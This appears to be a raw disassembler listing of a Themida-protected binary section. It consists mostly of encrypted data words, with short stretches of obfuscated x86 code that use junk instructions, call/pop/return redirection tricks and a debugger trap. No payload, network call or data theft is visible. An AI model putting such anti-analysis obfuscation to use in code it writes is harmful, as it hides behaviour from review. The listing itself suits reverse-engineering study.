dd 152075D8h, 405342CEh, 0D6BA879Ch, 202A9EF2h, 618AF88Ch
dd 170B4F3Ah, 0C76150A6h, 3687B455h, 4C9D2Ch, 6F7B0000h
dd 5BE5770Ch, 0C06E5BAAh, 941D0034h, 0C91367C3h, 0E25337BFh
dd 7BD43C6Bh, 55A91D2Ch, 0F373D771h, 3C6BE297h, 441AAB8Dh
dd 0E697F737h, 1430DD1Dh, 92665DA5h, 1C905ABEh, 3C6BE938h
dd 0F421CB0Fh, 0FD7690A1h, 8906h, 50BDAE00h, 1F6B8348h
dd 90C3941Dh, 55C2B6AAh, 2075346Fh, 0CD7B5F66h, 4A90ABF1h
dd 9FC18322h, 2F6CCBDh, 19A84E5Bh, 9CA2A35Eh, 8FFB73F9h
dd 3A61D5h, 0E914C63Ah, 4594A39Eh, 88986739h, 41AE49E7h
dd 6CD31934h, 0E584D030h, 7ED27C5Eh, 611BA9F6h, 7570A03Ah
dd 954E7B8Ch, 2002A41Bh, 49D05C2h, 0B1CAD2EAh, 4E5903ABh
dd 0E8D24473h, 5560B564h, 0B13C74E1h, 9EABFA2Bh, 0CB502C70h
dd 40E78D21h, 62584E65h, 0D6F03F1h, 0D2A699E3h, 0CF231E6Bh
dd 7FF701EBh, 0C3941D0Bh, 0CFD7A69Ch, 1EC80CF0h, 23B2D84Ch
dd 0A00DBD86h, 0B0947851h, 0EB4602AAh, 0F1C93A79h, 3740299Dh
dd 5746D01Ah, 488C704Fh, 79EBCCB8h, 0D17F433Ah, 91ACF916h
dd 0CC12052Dh, 41D5C91h, 9EE45539h, 6226D3A7h, 0EDC72F63h
dd 0D3EE3BE0h, 0BA879C09h, 0E93AEB8Ch, 0DC6822Ah, 71491991h
dd 0BAC0A91Dh, 8E0A379Bh, 0B08D967Fh, 43142A3h, 0CDFB0h
dd 84790000h, 830073E8h, 975058BCh, 0D4DE8379h, 57A009FDh
dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
dd 798871C5h, 0FA0DFC40h, 68CF7BCFh, 608Ah, 53243C89h
dd 0C381E389h, 4, 4EB81h, 1C870000h, 34895C24h, 0E2895224h
dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 43876850h
dd 35580EBEh, 8AC49A4h, 48BC689h, 4C48324h, 4EC81h, 24890000h
dd 24048124h, 4, 0F3895358h, 8B951h, 0C1010000h, 5B591989h
dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h, 348B5C24h
dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F96F46E9h
dd 0B8A244FFh, 6120F5Bh, 0E0FFC503h, 3D06388Bh, 524679Dh
dd 151417E7h, 69B7D05Eh, 6A4668FBh, 7A594309h, 24E7DA6Eh
dd 494B2CEFh, 2F9D62C4h, 58D1A1Fh, 3680BC8Ah, 29F725B2h
dd 61BC000Fh, 6E52C8CEh, 869B78h, 6E3CDF7Eh, 71701F2h
dd 33A9AC63h, 24B60486h, 2D68C4CFh, 42955E18h, 20FEE362h
dd 2BA5FBE4h, 2A481174h, 42E8485Dh, 3ACE82B2h, 715AF7F8h
dd 8EBh, 0B0350000h, 0D1E94999h, 68000004h, 612117Bh, 0F96EB6E9h
dd 11E368FFh, 0ACE90612h, 68FFF96Eh, 6121375h, 0F96EA2E9h
dd 3F4BFFh, 0D6E332D3h, 0B891E00Dh, 0D344ABBh, 0DCE339D6h
dd 52A9B007h, 3EC774Eh, 0F31CC7FAh, 5C49AAA5h, 14E57E4Bh
dd 0D3450D4h, 0CCBBC586h, 0FBDADE54h, 417C8471h, 9B6F99FDh
dd 0FD4E132h, 0F47E5EFDh, 80E05956h, 50B6D25Ah, 0C139C394h
dd 7E059727h, 6CF978ECh, 0C76BD9Fh, 22D8A8B8h, 970D3A61h
dd 304BE216h, 18662C36h, 8E000003h, 6B312D46h, 0A7E20AD0h
dd 0A8BD9F05h, 51D8852h, 5BAB103Eh, 3F046E92h, 0E9730894h
dd 374CE43Ch, 6EA2160Ah, 0C7862EC0h, 48411055h, 96F27A84h
dd 1935107Bh, 7BA52121h, 0D02A3510h, 66BF6EFCh, 7848F75Bh
dd 22AE445Eh, 0D337D135h, 0B0BAC1DBh, 93AEF726h, 0A93DEB2Fh
dd 4B1BF8D4h, 84B5C4A9h, 72F8DC30h, 985B7683h, 202F1A6Fh
dd 8FD96FDBh, 294F0002h, 0A5000003h, 0CF97A51h, 0FA2BC8F9h
dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah
dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C5860C0Eh, 0BD4A3281h
dd 84084150h, 8616A640h, 2DC76FFDh, 0BEBD862Ch, 0D7049644h
dd 0CF999513h, 65E80639h, 0D233201Fh, 2303F7CEh, 3C867F9Ch
dd 6CFBD623h, 8665F5B9h, 0C175CA38h, 3D000002h, 0E401D2E9h
dd 52B3A091h, 3CE90A47h, 0EB04DFE6h, 0EB5AE91h, 0C1FC04E7h
dd 91ACF512h, 6453A542h, 0C8050EFFh, 0E20AE62Bh, 0C5860CE6h
dd 6F229A69h, 40E4760Dh, 0BD862CAAh, 2DA61348h, 6FB61006h
dd 947842C1h, 796E2C5Ch, 2ABBF93Ah, 2D8037D6h, 1E1122Ch
dd 0DEFA0000h, 28176DD5h, 0F7C3BDEFh, 8EE20A73h, 9962B15Ch
dd 94067115h, 0A88CF6C3h, 0C246E024h, 52A60E1Bh, 47BB9F63h
dd 0A1BAC29Ch, 2AE33BBh, 4DF2BD9Fh, 0B50512AFh, 734E5924h
dd 0B9574B8Fh, 549C605Ah, 3A613834h, 0DE32B3E1h, 2C35322Fh
dd 1F6B830Dh, 903A6130h, 54E57CAAh, 3000000h, 9AE30D6Fh
dd 0D6CE067Ch, 0D83C00C5h, 2E3C1074h, 823C3F9Ch, 2AF7BB90h
dd 10C968FCh, 0B9CBBD9Fh, 60F65135h, 42ECD63Ah, 0D909FDC5h
dd 3A60F6A9h, 23A9247Ch, 14D4C0BCh, 5FF86B81h, 9139CFA3h
dd 3426C0FCh, 2C34FA15h, 98A5FA2Bh, 0D0EB6Eh, 0DE750000h
dd 0A514F8D5h, 68FA605Fh, 941D80C4h, 43307C3h, 9B0279C2h
dd 0CC44E277h, 4A758F7Eh, 0E96482C6h, 6CDDA19Ch, 3054D81Bh
dd 0B7C394EBh, 62F46F43h, 0C394EEBCh, 9A597481h, 0BF8A9F0Eh
dd 0D46F0D91h, 94ADD906h, 2ADAEB37h, 0DFA72FCh, 9EBD99DEh
dd 3247B6A4h, 0F507E907h, 72F24A46h, 4EFB91C1h, 0DD675E09h
dd 0A9A442A6h, 0FFE6C53h, 387ECFFAh, 0B751B519h, 63C9D33Ch
dd 7C50241Bh, 0D518CF18h, 1BEF8660h, 12FA4h, 605FAB00h
dd 360312F3h, 98B1C02Dh, 6D54AA5Bh, 3C0319F6h, 0B2499027h
dd 638C576Eh, 0D33C271Ah, 0BC698AC5h, 74855E6Bh, 0E1470F4h
dd 2C9BC586h, 0FBDADEB4h, 0F201EC78h, 14D520DFh, 65C406CFh
dd 43142CBh, 0D5DE39DFh, 0CBB9023h, 0C82CC6C5h, 0ABA6F322h
dd 0CD45E327h, 253E0B1Ch, 0D2182379h, 74CC1B40h, 3747AD18h
dd 0EE29BEEAh, 0B7511432h, 9EFC882Fh, 0DC2794BDh, 0BA21E027h
dd 7149C660h, 5DAC59EBh, 5676129Ah, 81F93A60h, 4BE5D9ADh
dd 5C87BEC2h, 6056BACAh, 0D3EE3B3Ah, 0A29DE700h, 8A79DEh
dd 6F830000h, 5AE4760Dh, 1824B4E5h, 20446C43h, 0C394A1A4h
dd 55F3D72Bh, 86906F81h, 509AE0BDh, 906453A5h, 8CBBCDBCh
dd 262AC438h, 0CC172277h, 17FBD623h, 9F7696C5h, 4C9A453Eh
dd 0C936D2A2h, 0F42E8CF1h, 0CA0710F9h, 9EABFC29h, 43B432Ah
dd 0FE0F85B0h, 22310C19h, 0F49014A6h, 7569F716h, 52A81722h
dd 714C59B4h, 1ECA8Dh, 94260000h, 0C51EFF27h, 343CD3A5h
dd 69F72B50h, 0E7B638D7h, 7D6FEEFEh, 6A67B019h, 9C8446BCh
dd 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh, 63D7EE32h
dd 0EB5F66BAh
dd 71C5FC02h, 0FC407988h, 7BCFFA0Dh, 0E78957CFh, 4C781h
dd 0EF810000h, 4, 5C243C87h, 68242C89h, 322Bh, 68243489h
dd 1BF6h, 55240489h, 0CE2198BDh, 10B8500Ah, 0F76D145Ch
dd 8D1E05D0h, 0C53179F0h, 5DEE8958h, 8904EC83h, 4832424h
dd 52580424h, 8BAh, 89C20100h, 24148B32h, 0FF04C483h, 81582434h
dd 4C4h, 2434FF00h, 4C4815Eh, 0E9000000h, 0FFF969FBh, 5B9C1B5Ch
dd 0B67BCBA5h, 82EAC245h, 1214C9B8h, 0FFC50306h, 0F6E5EFE0h
dd 63ED4B0Ch, 0F3CEF443h, 0F900514h, 0C4684068h, 3800F924h
dd 8A6EEA71h, 5060D752h, 0E1257B4Ch, 9F28E27Dh, 0CDDB447Fh
dd 2B33659h, 69F2E94Eh, 321E4A4Fh, 0D872A507h, 40CCC444h
dd 0B181D23h, 11592904h, 96293D75h, 0D0B8686Dh, 57304103h
dd 0B1A7FB1Ah, 4A0EA13h, 0CDB60166h, 14E83Bh, 0D5C00000h
dd 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h, 0BF66F325h
dd 0F95BB240h, 6CDCC381h, 0FA8B0000h, 0B8h, 99BA6600h
dd 1834FF9Fh, 8850Fh, 50600000h, 0A6BF6659h, 0F59613Eh
dd 0C181F1BFh, 6EB21B4Eh, 6880Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
add ecx, 7F8683E0h
jnp loc_5AD6C1
jnb loc_5AD6C1
and dl, 0BFh
loc_5AD6C1: ; CODE XREF: Themida_:005AD6B2j
; Themida_:005AD6B8j
xor ecx, 2C736FB6h
adc si, 347Ch
push ecx
jmp loc_5AD6DA
; ---------------------------------------------------------------------------
pop gs
or [esi-66813E1Eh], ah
loc_5AD6DA: ; CODE XREF: Themida_:005AD6CDj
pop dword ptr [ebx+eax]
movzx edi, dx
call sub_5AD6F9
int 3 ; Trap to Debugger
or [ebx+5AADBF2Bh], dl
jmp far ptr 3F9h:1B2736CAh
; ---------------------------------------------------------------------------
db 32h
dd 36E96AE0h
db 84h
; =============== S U B R O U T I N E =======================================
sub_5AD6F9 proc near ; CODE XREF: Themida_:005AD6E0p
; FUNCTION CHUNK AT 005AD780 SIZE 0000001E BYTES
pop esi
sub eax, 76589AFh
movzx edx, bx
add eax, 76589ABh
jmp loc_5AD71F
; ---------------------------------------------------------------------------
dw 3C64h
dd 0A1057717h, 5535E90Bh, 241D61C6h
db 97h, 0DCh, 5Eh
; ---------------------------------------------------------------------------
loc_5AD71F: ; CODE XREF: sub_5AD6F9+10j
cmp eax, 0FFFF9418h
jnz loc_5AD73D
or dx, 686Bh
jmp loc_5AD752
; ---------------------------------------------------------------------------
db 0DBh, 83h, 5
; ---------------------------------------------------------------------------
and eax, 75C2BE03h
loc_5AD73D: ; CODE XREF: sub_5AD6F9+2Cj
sbb edi, 38633906h
jmp near ptr dword_5AD560+125h
; ---------------------------------------------------------------------------
dd 7A46CD5Fh, 0A36E7519h
; ---------------------------------------------------------------------------
jnp short loc_5AD780
loc_5AD752: ; CODE XREF: sub_5AD6F9+37j
lea ecx, [ebp+6121765h]
push 0
push eax
call sub_5AD763
and [eax-3Dh], bl
sub_5AD6F9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5AD763 proc near ; CODE XREF: sub_5AD6F9+62p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5AD763 endp
; ---------------------------------------------------------------------------
db 33h
dd 0E759251Bh, 0BF0FF08Bh, 4D8D89F9h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5AD6F9
loc_5AD780: ; CODE XREF: sub_5AD6F9+57j
pop ss
or eax, [esi]
mov [ebp+60B001Dh], edx
mov dword ptr [ebp+60B0119h], 68C4h
push 0
push ebx
call sub_5AD79E
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5AD6F9
; =============== S U B R O U T I N E =======================================
sub_5AD79E proc near ; CODE XREF: sub_5AD6F9+9Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5AD79E endp
; ---------------------------------------------------------------------------
dw 0A5E5h
; ---------------------------------------------------------------------------
aad 47h
test [edx+edx*2-7623A399h], bl
lea eax, [ecx-48F9F4CFh]
cmc
mov dword ptr [ebp+60B1009h], 0
push dword ptr [ebp+60B1AA9h]
push 0
push esi
call sub_5AD7DB
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD7DB proc near ; CODE XREF: Themida_:005AD7D3p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5AD7DB endp
; ---------------------------------------------------------------------------
dec ebp
lodsd
xor bl, bl
ficom word ptr [ebp+51h]
mov ah, 20h
and cl, [ebx+0B22259Dh]
push es
call dword ptr [ebp+60B0AC5h]
clc
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_5AD85D
; ---------------------------------------------------------------------------
dw 0AB6Ah
dd 0CF7CE3BAh, 7869F6BEh, 562233D3h, 0FB7E137Bh, 4FB10B69h
dd 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 49398B3Ah, 98E6A9E5h
dd 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh, 28DFAC49h, 19AF0878h
dd 8C4CA90h, 0CBE583FBh, 0AB312E3Bh, 0B139639Bh
db 8Dh
; ---------------------------------------------------------------------------
loc_5AD85D: ; CODE XREF: Themida_:005AD80Cj
jmp short loc_5AD863
; ---------------------------------------------------------------------------
db 0E5h
; ---------------------------------------------------------------------------
cmp dl, [ebp+61h]
loc_5AD863: ; CODE XREF: Themida_:loc_5AD85Dj
jmp loc_5AE5A1
; ---------------------------------------------------------------------------
push 6121977h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 6121AA8h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 6121C94h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 6121DB4h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 612212Ah
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 612227Fh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 612236Eh
jmp loc_543FDB
; ---------------------------------------------------------------------------
dw 0C2D4h
dd 68BF688Bh, 1E6D9A59h, 0CFD73023h, 7E8263F0h, 3E259C47h
dd 79FAC5DFh, 0A94A778Ch, 0C61D287Ch, 72E1DC29h, 0BFCB6389h
dd 30C58605h, 0D5DEDB41h, 4CE072F8h, 0C3941D38h, 178C4B8Fh
dd 578DA593h, 67D63AD4h, 295DD112h, 0FEC3940Ch, 288DC14h
dd 9CE651E7h, 1365D4B8h, 0EFA55024h, 0D1EC39DEh, 1175F90Bh
dd 96C39462h, 4E182ACh, 0EA1BC1FCh, 0E024A895h, 3740AD46h
dd 0FB4F7A8Fh, 6EDFA387h, 0B9CB2825h, 68FC374Ch, 0C394621Ch
dd 0A14BAF93h, 9462790Dh, 5AF4CEC3h, 3B213A42h, 9F662EB3h
dd 573B1FBDh, 6164EF9Fh, 6F7E3A3Ah, 35867495h, 2F5D2Ch
dd 6FBB0000h, 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h
dd 0E46867B1h, 6CD0EF35h, 0A35E65BDh, 77AAE4E1h, 0C168A02Dh
dd 0E82C35C6h, 0D9h, 0F8D5DE74h, 46798372h, 98709EF2h
dd 675AA352h, 13C44C9h, 2530AFBDh, 941D9F45h, 3E4BC26Ch
dd 0D82CD903h, 8FF7931Bh, 278C394h, 0C208002Eh, 0FA8E26B0h
dd 4DC3948Fh, 8F89FD75h, 241EC394h, 0DBF6030Ah, 8A299618h
dd 314C394h, 0B7C02D36h, 0A6F6369Ah, 0D2274F9Dh, 13BD9F8Eh
dd 126A342Fh, 214BE309h, 9A446CEFh, 3D4BBAA0h, 526DBB02h
dd 0F27CAAEEh, 1DC6F903h, 5A95A8F0h, 8C6B7BC8h, 0DB78DF2Bh
dd 0A900000Ah, 10FD665Dh, 0FE2F3405h, 0A8459EB3h, 17F06352h
dd 9221320Dh, 5568B04Bh, 2518618Eh, 88C7D13Eh, 5C69BA6Bh
dd 7EF67A87h, 0C586040Ah, 0BDB62E9Dh, 0DE084150h, 0C02A156Fh
dd 9AC0259Bh, 94537612h, 7681F9C3h, 0F40D4C61h, 0B83BD5C9h
dd 0D40F3A4Fh, 760D6F2Ch, 0D7EA39E4h, 9E3FB739h, 0EFBD9F05h
dd 455441ABh, 0A24C8074h, 0CBC686AEh, 3E473A60h, 0CB1571F5h
dd 0A09A3A60h, 711F84Ch, 160C44C8h, 9A46FB97h, 406B7C25h
dd 608EAF7Fh, 0B33D4746h, 60634F3Bh, 7E21C03Ah, 93F55681h
dd 7CDE086Ch, 2C35A1CDh, 0CAE4h, 50BD0000h, 4E82764Bh
dd 6D58ADA0h, 0D5E83099h, 185EC161h, 0D421C394h, 3FEE7AF9h
dd 0DE2FD9E8h, 0C614F8D5h, 0E65430B4h, 0E7DB3C6Bh, 0EA277549h
dd 6BE60642h, 5DB1893Ch, 1BDE7D8Fh, 0B449B1C9h, 0F3C68EB8h
dd 744260BBh, 0F389D50Eh, 136A8268h, 0EC446D03h, 40594496h
dd 0C367638Bh, 92E83072h, 58F6CABEh, 0F91D6796h, 0FBD2F80Ah
dd 0D50E62DAh, 2F4BE45Bh, 3FE0D849h, 0D9E43C11h, 6CBC060Eh
dd 1AFD558Ch, 9AAh, 0CE152C76h, 78FBD621h, 964D7C8Fh, 0C1122179h
dd 72E1DC24h, 3B419CC3h, 0E92EDF04h, 969E0FD4h, 3E4BA4BFh
dd 0C12BD003h, 8607D9ADh, 79DFAEC5h, 78FBDADEh, 944F7A8Fh
dd 0AE95ED18h, 417E6DAh, 0DE251B35h, 0C614F8D5h, 1D5430B4h
dd 3EB6C394h, 0C3941D4Ah, 201AE5DDh, 0C7F20706h, 1DFA8A1Ch
dd 2E7BC394h, 0D227C013h, 7D8875E7h, 6A84F84Ch, 0D7E237E6h
dd 4ABBB563h, 0C2E4023Fh, 69C9DAC3h, 2AC92D10h, 0EC980C9Eh
dd 0EC3941Dh, 941DE2E6h, 0A21D65C3h, 3A8EB5CDh, 0DA44E2C6h
dd 3240F133h, 0B61Eh, 19639200h, 93EB5226h, 0B89E48ACh
dd 0E4760D6Fh, 9F0C4D40h, 14F8C2BDh, 60D0ACDCh, 2F3793Ah
dd 1D71C5FCh, 0DC34B1F3h, 2C34DA2Dh, 8604h, 10699400h
dd 7E526FB8h, 50BD6AD0h, 0C356AE48h, 7F1D106Eh, 6819ED1Bh
dd 5AC39430h, 0BB333942h, 0BD9F2836h, 0C7203307h, 94F074BDh
dd 1B3A611Eh, 0ED7FC327h, 1EBFCB63h, 0C95D3A61h, 3A611EBDh
dd 0B4FC832h, 0A0BBC1DDh, 1C1332BAh, 261C446Ah, 89C4D03Dh
dd 506DB263h, 8A7EA8ECh, 9CE40A92h, 85F9DDA1h, 0DEA6DF57h
dd 0C3374E76h, 0E20A9410h, 2E4AC2E6h, 0F71169h, 562h, 0AEDA52DCh
dd 212E4AC2h, 6FC92FD9h, 40E4760Dh, 0BD9F24D1h, 46DBBF5Eh
dd 520C2BF1h, 2A5A8A7Eh, 0FF3A603Ch, 39D028A5h, 102C342Eh
dd 532h, 2E3A46FCh, 0DFABC34Eh, 50C3941Dh, 40E4766Ah, 0BD9F0545h
dd 4D9FF0CAh, 0A8EE5AA0h, 8DC1B5A9h, 0D42C9363h, 0DAA2E2A5h
dd 26139B41h, 7EDB08Bh, 4D2F4F33h, 805D2CEDh, 443586B6h
dd 3A200435h, 0BD70CAB2h, 8F5DA5F7h, 3B38151Eh, 0F3971FA9h
dd 74878238h, 3D4E77D5h, 564A6E3Bh, 754055B8h, 3C9364FAh
dd 0DCB3973Ch, 7BEh, 0D201384Ah, 0CD7E235h, 0BAB990E3h
dd 0D50E354Dh, 6DDE038h, 4F55A8BFh, 0FD02E370h, 0A2F213C0h
dd 4A5F48ABh, 0D517E47Fh, 86013551h, 55CBBAC5h, 94450BDh
dd 0A6A74185h, 9C9C605Dh, 6D198D00h, 0E2C3941Dh, 9B6A498h
dd 64B726CBh, 92ADE155h, 193737D0h, 0BEADF57h, 77BBD9Fh
dd 0E1DC28D5h, 5D0F391Dh, 8A6964B0h, 2E3C0B1Dh, 2A9EA9FFh
dd 20043B43h, 0A6220206h, 5E3A6111h, 3A61212Eh, 77E57E1Eh
dd 6A049AFFh, 0A3176B44h, 7DC8C383h, 5B4A1630h, 0B5897D4Ch
dd 748C199Bh, 262AC5D5h, 3AFCh, 0D6F1800h, 0AB5AE476h
dd 3FC76158h, 0BD9F1F2Ah, 0A615C73Bh, 630B9D89h, 0CC608A27h
dd 3A6057B8h, 351DCB0Fh, 75119527h, 0FA3A6057h, 29707780h
dd 5C7B2574h, 294DB2h, 6FD70000h, 40E4760Dh, 0BD9F299Dh
dd 0B4898E7Fh, 96F27AC0h, 193A60F7h, 2423CD21h, 35E06ADEh
dd 0D0990EE0h, 4872212Bh, 0BD44BA54h, 1DCFBB33h, 7A40C394h
dd 193441CCh, 532B72CEh, 0F649B980h, 69Eh, 3221186Ah, 6CF7C2D5h
dd 9A597083h, 352E156Dh, 66FDC0D8h, 2F7588DFh, 0DD22C310h
dd 829273E0h, 2A7FA84Bh, 3537C41Fh, 8600D5B1h, 75EB5AC5h
dd 0E4760D6Fh, 1DB6D25Ah, 0E237C394h, 502F63D7h, 0E810CCB1h
dd 4EA2BA53h, 7BA6CEA0h, 0CCBD9F46h, 4A98EC00h, 2B6F3A61h
dd 0CF94337h, 478CCFDh, 0E01663EAh, 6545334Fh, 0F50DFC0Bh
dd 22067ACEh, 0F825B731h, 0D5299DA0h, 615F691Dh, 911FE3Ah
dd 0AC38D6CAh, 652A505Dh, 881900BFh, 0B7C67B3h, 77BCFF2h
dd 0E2B90523h, 0C94307AFh, 0BACA113Eh, 7CDB3F83h, 65312206h
dd 0BC839917h, 0F71A9258h, 486F35FDh, 0C8DF8E72h, 603C7AF9h
dd 0F89D11DBh, 20710146h, 8A6A1E96h, 10FD0500h, 38D6CA07h
dd 0D313E7DBh, 5008AB3h, 0E345FA66h, 0EB96A9CCh, 310C14E5h
dd 0F8109D17h, 0F8D46651h, 15878h, 824BF000h, 0D4C33227h
dd 6F160C3Ah, 40E4760Dh, 0BD9F345Dh, 74494EBFh, 0B1057DDAh
dd 5182BFC8h, 0E25663B4h, 2BF78342h, 4819B65h, 0A4BF8A9Fh
dd 0D9033E4Bh, 0A2F3B062h, 0B2967A57h, 96A54785h, 45E3DE27h
dd 79ED7FCDh, 113DD60Dh, 0C68EB882h, 4E76D907h, 0FF437286h
dd 7FCE030Eh, 70B51928h, 2CE9A520h, 0EE9A129Ch, 6168CA8Ch
dd 8C0347EFh, 0BE8468CAh, 0FB0AAC5Ah, 2F340112h, 0C66EB5FEh
dd 68CA8C82h, 7FC3FE0Bh, 9446BC1Bh, 0CA8C7410h, 0A387FB68h
dd 0A5BADFDFh, 8C2B3FB7h, 0C63C68CAh, 203B411Dh, 0F347853Ah
dd 0E641D64Dh, 0A05F0140h, 0E50323FCh, 16E30Bh, 0E3D716C1h
dd 0FD65AE1Fh, 0BFA498A7h, 8408454Eh, 0C6C5C0ACh, 2EBFF566h
dd 0F06735AAh, 5577FE4Dh, 744152BBh, 0BAE147EFh, 0BEDDEA92h
dd 68AFDB53h, 0D94DF36Ah, 0F36A68ADh, 1B7FD822h, 0C6D33C27h
dd 93FA618Bh, 0A10C015Fh, 955DB553h, 0D2DDA01h, 8D21B3B1h
dd 692318F9h, 0B994E14Eh, 739DF1D5h, 3A4FB431h, 181175F9h
dd 0AC966923h, 9FDC8DDh, 8602D135h, 4C300F17h, 1A6FDE08h
dd 39435B2Fh, 0E4833822h, 995AE0FDh, 79ED7FA9h, 1728C2A4h
dd 70415439h, 0FCCBDD8Ch, 58BFA498h, 49h, 0E30D6FE0h, 0F1D5B990h
dd 0C2274F9Dh, 3BD9F1Fh
dd 0B8C02D3Fh, 36E76B85h, 0AA01D2EFh, 0A5F41881h, 0A5134892h
dd 10E3078Bh, 427D8B72h, 826C9AFEh, 6009166Ah, 119843Ah
dd 0DC0A4E32h, 6AD11B7Fh, 9066D056h, 7141EF78h, 6DD5DE8Fh
dd 7B5F231Eh, 0FA82DC07h, 0B273FB61h, 3BBD9F23h, 798B15C7h
dd 60E991F5h, 242C163Ah, 3A60E9A0h, 0BB35D327h, 0D0033A4Ah
dd 0F55FA954h, 0C8BC90AFh, 0A5F35AF4h, 0B6C626AAh, 6ADEE338h
dd 0FD283216h, 0C3FE0BA5h, 7AF41EFh, 446BEE02h, 9B4B3F03h
dd 307DC3EBh, 0B0BAC1DBh, 7D5B50Bh, 0A5430334h, 0DA36A3CBh
dd 43B74E77h, 0E3E70F99h, 642E49E6h, 0C818F01Eh, 2E49E6B8h
dd 6FD3EE39h, 0F55978BEh, 7608859Fh, 0CCC4C1D3h, 201EEC1Dh
dd 1634h, 0D6FD000h, 6540E476h, 0EABD9F1Fh, 0E3C7F205h
dd 2DB81Fh, 6FC00000h, 5AE4760Dh, 941DB6D2h, 27C139C3h
dd 293C2145h, 52DCBD9Fh, 0EE6659A3h, 3A60F69Ah, 0AFC7156Dh
dd 3A60F6DBh, 5BB856ACh, 0DE3D9367h, 1B6FF8D5h, 2880532Ch
dd 32865DAh, 0A2F40000h, 485F48ABh, 0FE0DFA79h, 0AFF710C3h
dd 5EA24390h, 1E45FC67h, 599AA5FFh, 896A57ACh, 263D081Ch
dd 5281BCC9h, 5F2B43A9h, 0D0C5863Ch, 0D5DEFB61h, 708372F8h
dd 7791F559h, 485C4993h, 0DFA392E8h, 0E46987FBh, 2AB4A693h
dd 5393AEFBh, 0C3941D37h, 0C3A442B8h, 0A9A90993h, 0A4B91331h
dd 961ECC20h, 0BD9FB80Bh, 7544533Ch, 0C585AD11h, 103A6186h
dd 5E8F0580h, 4B2C35A8h, 31h, 760D6F95h, 0D1EC39E4h, 8031B537h
dd 0EDBD9F05h, 41012195h, 943A60CBh, 0E20B810Ch, 0D82C35C6h
dd 18ECDB2Dh, 0E0546BB1h, 0DB9E48ACh, 0E7h, 4150BD25h
dd 0A6408408h, 0F56752A7h, 0FFD6DD46h, 0F8161FD7h, 0C3DBCA10h
dd 0A1FB52FCh, 7EC2FD0Bh, 0EB52261Ah, 0DCE1369Eh, 748372F8h
dd 0F6A7AB45h, 0CC2F4BADh, 0F682779Dh, 72DD4192h, 0CDC39492h
dd 0B9568DB8h, 8DED516Ch, 748654EFh, 0C2E6FAC7h, 859082FEh
dd 90E950B4h, 0AF383ADh, 8EBD9FA5h, 4B3F0A1Fh, 957AD977h
dd 618AB580h, 0ACAE2B3Dh, 0F672E1C5h, 2BC5F407h, 0E8720993h
dd 6C2B8544h, 2A300A44h, 459EA1FBh, 139B50A8h, 3073F177h
dd 0F1751195h, 80FA3073h, 60EFC337h, 8C6B401Ch, 0D300C743h
dd 0A1000001h, 8E57E55h, 0F617CCFDh, 0A04D96ABh, 0FF87B5Ah
dd 0AA29CAF5h, 6D50A843h, 3D0019F6h, 80BFC926h, 5461B253h
dd 46EE028Fh, 0C5863F02h, 0DE4E3685h, 8F78FBDAh, 709D4F7Ah
dd 6EA2162Bh, 6FD127C0h, 39E4760Dh, 0BB35D3EEh, 9F058233h
dd 2397EBBDh, 60CB4303h, 0B8CA963Ah, 60CB5034h, 1AE3D73Ah
dd 9315330Ah, 0C74FFE12h, 0B87A2C35h, 82000000h, 14F8D5DEh
dd 9C605FA5h, 7B465F4Eh, 189639CDh, 1B8AC394h, 774B3F02h
dd 162374D9h, 0FAD720CDh, 3A4EE670h, 8D3C6BE6h, 82BFC4B5h
dd 0F08CEC64h, 846D816Bh, 794260D1h, 0F884D201h, 0BE6FF963h
dd 91F55978h, 0F5A7234Bh, 0D2283A60h, 6542A034h, 0B58D446Dh
dd 102D76A7h, 738974F6h, 0FDF42997h, 0D4289CABh, 6F03082Bh
dd 0B15CE80Bh, 50BD6B66h, 0ACFA7548h, 4F8C6BC9h, 0E404FBh
dd 66B00000h, 0C1BF46Fh, 0BAC9263Dh, 6BB35C87h, 1A1E8F54h
dd 5299383Bh, 855E61BBh, 352E1368h, 62F1CCD8h, 9E457085h
dd 1377FF6Dh, 94C5863Eh, 0DADEBF25h, 7A8F78FBh, 0DE6C944Fh
dd 0CD72F8D5h, 2109C9Ch, 43C7613Ch, 0AEBC899Ah, 732D3931h
dd 0F71174EAh, 0F205F07Ch, 0F11F73C7h, 0A6B4CFADh, 86DF850Eh
dd 0F84CB6BDh, 495C0411h, 2EDF0478h, 0CC64E8E5h, 0A53DCF63h
dd 0AFECBDAh, 916554A3h, 81E1DC28h, 601AABh, 3FE87DE2h
dd 0F02079FCh, 0A8515C56h, 14F1625Fh, 9B423603h, 7FAEBC83h
dd 18F01E29h, 0E46867B1h, 60D4E335h, 5AFD0822h, 2D8AF31Ah
dd 0AD684C0Eh, 0C9DEA01Fh, 8BF68CF6h, 0A54A5B5Dh, 11FE6550h
